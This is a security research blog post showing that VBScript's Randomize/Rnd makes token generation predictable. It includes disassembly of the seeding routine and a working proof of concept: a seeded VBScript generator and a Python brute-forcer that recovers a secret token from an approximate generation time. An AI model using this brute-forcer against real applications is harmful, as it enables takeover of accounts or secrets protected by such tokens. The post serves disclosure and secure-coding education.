Yet Another Random Story: VBScript's Randomize Internals

In one of our recent posts, Dennis shared an interesting case study of C# exploitation that rode on Random-based password-reset tokens. He demonstrated how to use the single-packet attack, or a bit of old-school math, to beat the game. Recently, I performed a security test on a target which had a dependency written in VBScript. This blog post focuses on VBS’s Rnd and shows that the situation there is even worse.

VBScript Dice Rolling

Target Application

The application was responsible for generating a secret token. The token was supposed to be unpredictable and expected to remain secret. Here’s a rough copy of the token generation code:

Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

function GenerateToken(chars, n)
	Dim result, pos, i, charsLength
	charsLength = Int(Len(chars))	
	
	For i = 1 To n
		Randomize
		pos = Int((Rnd * charsLength) + 1)
		result = result & Mid(chars, pos, 1)
	Next
	
	GenerateToken = result	
end function

The first thing I noticed was that the Randomize function was called inside a loop. That should reseed the PRNG on every single iteration, right? That could result in repeated values. Well, contrary to many other programming languages, in VBScript, the Randomize usage within a loop is not a problem per se. The function will not reset the initial state if the same seed is passed again (even if implicitly). This prevents generating identical sequences of characters within a single GenerateToken call. If you actually want that behavior, call Rnd with a negative argument immediately before calling Randomize with a numeric argument.

But if that isn’t an issue, then what is?

How VBS’s Randomize Works in Practice

Here’s a short API breakdown:

Randomize     ' seed the global PRNG using the system clock
Randomize s   ' seed the global PRNG using a specified seed value
r = Rnd()     ' next float in [0,1)

If no seed is explicitly specified, Randomize uses Timer to set it (not entirely true, but we will get there). Timer() returns seconds since midnight as a Single value. Rnd() advances a global PRNG state and is fully deterministic for a given seed. Same seed, same sequence, like in other programming languages.

There are some problematic parts here, though. Windows’ default system clock tick is about 15.625 ms, i.e., 64 ticks per second. In other words, we get a new implicit seed value only once every 15.625 milliseconds.

Because the returned value is of type Single, we also get precision loss compared to a Double type. In fact, multiple “seeds” round to the same internal value. Think of collisions happening internally. As a result, there are way fewer unique sequences possible than you might think!

In practice there are at most 65,536 distinct effective seedings (details below). Because Timer() resets at midnight, the same set recurs each day.

We ran a local copy of the client’s code to generate unique tokens. During almost 10,000 runs, we managed to generate only 400 unique values. The remaining tokens were duplicates. As time passed, the duplicate ratio increased.

Of course the real goal here would be to recover the original secret. We can achieve that if we know the time of day when the GenerateToken function started. The more precise the value, the less computations required. However, even if we have only a rough idea, like “minutes after midnight”, we can start at 00:00 and slowly increase our seed value by 15.625 milliseconds.

The PoC

We started by double-checking our strategy. We modified the initial code to use a command-line provided seed value. Note, the same seed is used multiple times. While in the original code, it is possible that seed value changes between the loop iterations, in practice that doesn’t happen often. We could expand our PoC to handle such scenarios as well, but we wanted to keep the code as clean as possible for the readability.

Option Explicit

If WScript.Arguments.Count < 1 Then
	WScript.Echo "VBS_Error: Requires 1 seed argument."
	WScript.Quit(1)
End If

Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest

Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)

function GenerateToken(chars, n, seed)
	Dim result, pos, i, charsLength
	charsLength = Int(Len(chars))	
	
	For i = 1 To n
		Randomize seed
		pos = Int((Rnd * charsLength) + 1)
		result = result & Mid(chars, pos, 1)
	Next
	
	GenerateToken = result	
end function

We took a precise Timer() value from another piece of code and used it as an input seed. Strangely though, it wasn’t working. For some reason we were ending up with a completely different PRNG state. It took a while before we understood that Randomize and Randomize Timer() aren’t exactly the same things.

VBScript was introduced by Microsoft in the mid-1990s as a lightweight, interpreted subset of Visual Basic. As of Windows 11 version 24H2, VBScript is a Feature on Demand (FOD). That means it is installed by default for now, but Microsoft plans to disable it in future versions and ultimately remove it. Still, the method of interest is implemented within the vbscript.dll library and we can take a look at vbscript!VbsRandomize:

; edi = argc
vbscript!VbsRandomize+0x50:
00007ffc`12d076a0 85ff            test    edi,edi            ; is argc == 0 ?
00007ffc`12d076a2 755b            jne     vbscript!VbsRandomize+0xaf ; if not zero, goto Randomize <seed> path

; otherwise, seed taken from current time
00007ffc`12d076a4 488d4c2420      lea     rcx,[rsp+20h]
00007ffc`12d076a9 48ff15...       call    GetLocalTime

; build "seconds" = hh*3600 + mm*60 + ss
00007ffc`12d076b5 0fb7442428      movzx   eax,word ptr [rsp+28h]
00007ffc`12d076ba 6bc83c          imul    ecx,eax,3Ch
00007ffc`12d076bd 0fb744242a      movzx   eax,word ptr [rsp+2Ah]
00007ffc`12d076c2 03c8            add     ecx,eax  
00007ffc`12d076c4 0fb744242c      movzx   eax,word ptr [rsp+2Ch]
00007ffc`12d076c9 6bd13c          imul    edx,ecx,3Ch
00007ffc`12d076cc 03d0            add     edx,eax

; convert milliseconds to double, divide by 1000.0
00007ffc`12d076ce 0fb744242e      movzx   eax,word ptr [rsp+2Eh]
00007ffc`12d076d3 660f6ec0        movd    xmm0,eax
00007ffc`12d076d7 f30fe6c0        cvtdq2pd xmm0,xmm0
00007ffc`12d076db 660f6eca        movd    xmm1,edx
00007ffc`12d076df f20f5e0599...   divsd   xmm0,[vbscript!_real]
00007ffc`12d076e7 f30fe6c9        cvtdq2pd xmm1,xmm1
00007ffc`12d076eb f20f58c8        addsd   xmm1,xmm0

; narrow down
00007ffc`12d076ef 660f5ac1        cvtpd2ps xmm0,xmm1         ; double -> float conversion
00007ffc`12d076f3 f30f11442420    movss   [rsp+20h],xmm0     ; spill float
00007ffc`12d076f9 8b4c2420        mov     ecx,[rsp+20h]      ; load as int bits

; ecx now holds 32-bit seed candidate

...

; code used later (in both cases) to mix into PRNG state
vbscript!VbsRandomize+0xda:
00007ffc`12d0772a 816350ff0000ff      and     dword [rbx+50h],0FF0000FFh  ; keep top/bottom byte
00007ffc`12d07731 8bc1                mov     eax,ecx
00007ffc`12d07733 c1e808              shr     eax,8
00007ffc`12d07736 c1e108              shl     ecx,8
00007ffc`12d07739 33c1                xor     eax,ecx
00007ffc`12d0773b 2500ffff00          and     eax,00FFFF00h
00007ffc`12d07740 094350              or      dword [rbx+50h],eax    

When we previously said that a bare Randomize uses Timer() as a seed, we weren’t exactly right. In reality, it’s just a call to WinApi’s GetLocalTime. It computes seconds plus fractional milliseconds as Doubles, then narrows to Single (float) using the CVTPD2PS assembly instruction.

Let’s use 65860.48 as an example. It can be represented as 0x40f014479db22d0e in hex notation. After all this math is performed, our 0x40f014479db22d0e becomes 0x4780a23d and is used as the seed input.

This is what happens otherwise, when the input is explicitly given:

; argc == 1, seed given
vbscript!VbsRandomize+0xaf:
00007ffc`12d076ff 33d2                xor     edx,edx
00007ffc`12d07701 488bce              mov     rcx,rsi
00007ffc`12d07704 e8...               call    vbscript!VAR::PvarGetVarVal
00007ffc`12d07709 ba05000000          mov     edx,5
00007ffc`12d0770e 488bc8              mov     rcx,rax              ; rcx = VAR* (value)
00007ffc`12d07711 e8...               call    vbscript!VAR::PvarConvert

00007ffc`12d07716 f20f104008          movsd   xmm0,mmword [rax+8]  ; load the double payload
00007ffc`12d0771b f20f11442420        movsd   [rsp+20h],xmm0       ; spill as 64-bit
00007ffc`12d07721 488b4c2420          mov     rcx,qword  [rsp+20h] ; rcx = raw IEEE-754 bits
00007ffc`12d07726 48c1e920            shr     rcx,20h              ; **take high dword** as seed source

When we do specify the seed value, it’s processed in an entirely different way. Instead of being converted using the CVTPD2PS opcode, it’s shifted right by 32 bits. So this time, our 0x40f014479db22d0e becomes 0x40f01447 instead. We end up with completely different seed input. This explains why we couldn’t properly reseed the PRNG.

Finally, the middle two bytes of the internal PRNG state are updated with a byte-swapped XOR mix of those bits, while the top and bottom bytes of the state are preserved.

Honestly, I was thinking about reimplementing all of that to Python to get a clearer view on what was going on. But then, Python reminded me that it can handle almost infinite numbers (at least integers). On the other hand, VBScript implementation is actually full of potential number overflows that Python just doesn’t generate. Therefore, I kept the token-generation code as it was and implemented only the seed-conversion in Python.

"""
Convert the time range given on the command line into all VBS-Timer()
values between them (inclusive) in **0.015625-second** steps (1/64 s),
turn each value into the special Double that `Randomize <seed>` expects,
feed the seed to VBS_PATH, parse the predicted token, and test it.

usage
    python brute_timer.py <start_clock> <end_clock>

examples
    python brute_timer.py "12:58:00 PM" "12:58:05 PM"
    python brute_timer.py "17:42:25.50" "17:42:27.00"

Both 12- and 24-hour clock strings are accepted; optional fractional
seconds are allowed.
"""

import subprocess
import struct
import sys
import re
from datetime import datetime


VBS_PATH    = r"C:\share\poc.vbs"

TICK       = 1 / 64               # 0.015 625 s  (VBS Timer resolution)
STEP       = TICK

def vbs_timer_value(clock_text: str) -> float:
    """Clock string to exact Single value returned by VBS's Timer()."""
    for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
                "%H:%M:%S", "%H:%M:%S.%f"):
        try:
            t = datetime.strptime(clock_text, fmt).time()
            break
        except ValueError:
            continue
    else:
        raise ValueError("time format not recognised: " + clock_text)

    secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
    secs = round(secs / TICK) * TICK          # snap to nearest 1/64 s
    
    # force Single precision (float32) to match VBS mantissa exactly
    secs = struct.unpack('<f', struct.pack('<f', secs))[0]
    return secs


def make_manual_seed(timer_value: float) -> float:
    """Build the Double that Randomize <seed> receives"""
    single_le = struct.pack('<f', timer_value)   # 4 bytes  little-endian
    dbl_le    = b"\x00\x00\x00\x00" + single_le  # low dword zero, high dword = f32
    return struct.unpack('<d', dbl_le)[0]        # Python float (Double)

# ---------------------------------------------------------------------------
#   MAIN ROUTINE
# ---------------------------------------------------------------------------

def main():
    if len(sys.argv) != 3:
        print(__doc__)
        sys.exit(1)

    start_val = vbs_timer_value(sys.argv[1])
    end_val   = vbs_timer_value(sys.argv[2])

    if end_val < start_val:
        print("[ERROR] end time is earlier than start time")
        sys.exit(1)

    tried_tokens    = set()
    unique_tested   = 0
    success         = False

    print(f"[INFO] Range {start_val:.5f} to {end_val:.5f} in {STEP}-s steps")

    value = start_val
    while value <= end_val + 1e-7:          # small epsilon for fp rounding
        seed = make_manual_seed(value)
        try:
            vbs = subprocess.run([
                "cscript.exe", "//nologo", VBS_PATH, str(seed)
            ], capture_output=True, text=True, check=True)
        except subprocess.CalledProcessError as e:
            print(f"[ERROR] VBS failed for seed {seed}: {e}")
            value += STEP
            continue

        m = re.search(r"Predicted token:\s*(.+)", vbs.stdout)
        if not m:
            print(f"[{value:.5f}] No token from VBS")
            value += STEP
            continue

        token = m.group(1).strip()
        if token in tried_tokens:
            value += STEP
            # print(f"Duplicate for [{value:.5f}] / seed: {seed}: {token}")
            continue
        tried_tokens.add(token)
        unique_tested += 1
        print(f"[{value:.5f}] Test #{unique_tested}: {token} // calculated seed: {seed}")
        
        # ...logic omitted - but we need some sort of token verification here

        value += STEP

if __name__ == "__main__":
    main()

The Attack

Now, we can run the base code and capture a semi-precise current time value. Our Python works with properly formatted strings, so we can convert the number using a simple method:

Dim t, hh, mm, ss, ns
t = Timer()

hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000

WScript.Echo _
    Right("0" & hh, 2) & ":" & _
    Right("0" & mm, 2) & ":" & _
    Right("0" & ss, 2) & "." & _
    Right("000000" & CStr(Int(ns)), 6)

Let’s say the token was generated precisely at 17:55:54.046875 and we got the QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 string. In the case of our target, we knew that some files were created at 17:55:54, which was rather close to the token-generation time. In other cases, the information leak could come from some resource creation metadata, entries in the log file, etc.

We iterate time seeds in 0.015625-second steps (64 Hz) across the suspected window and we filter all duplicates.

We started our brute_timer.py script with a 1s range and we successfully recovered the secret in the 4th iteration:

PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]

VBScript’s Randomize and Rnd are fine if you just want to roll some dice on screen, but don’t even think about using them for secrets.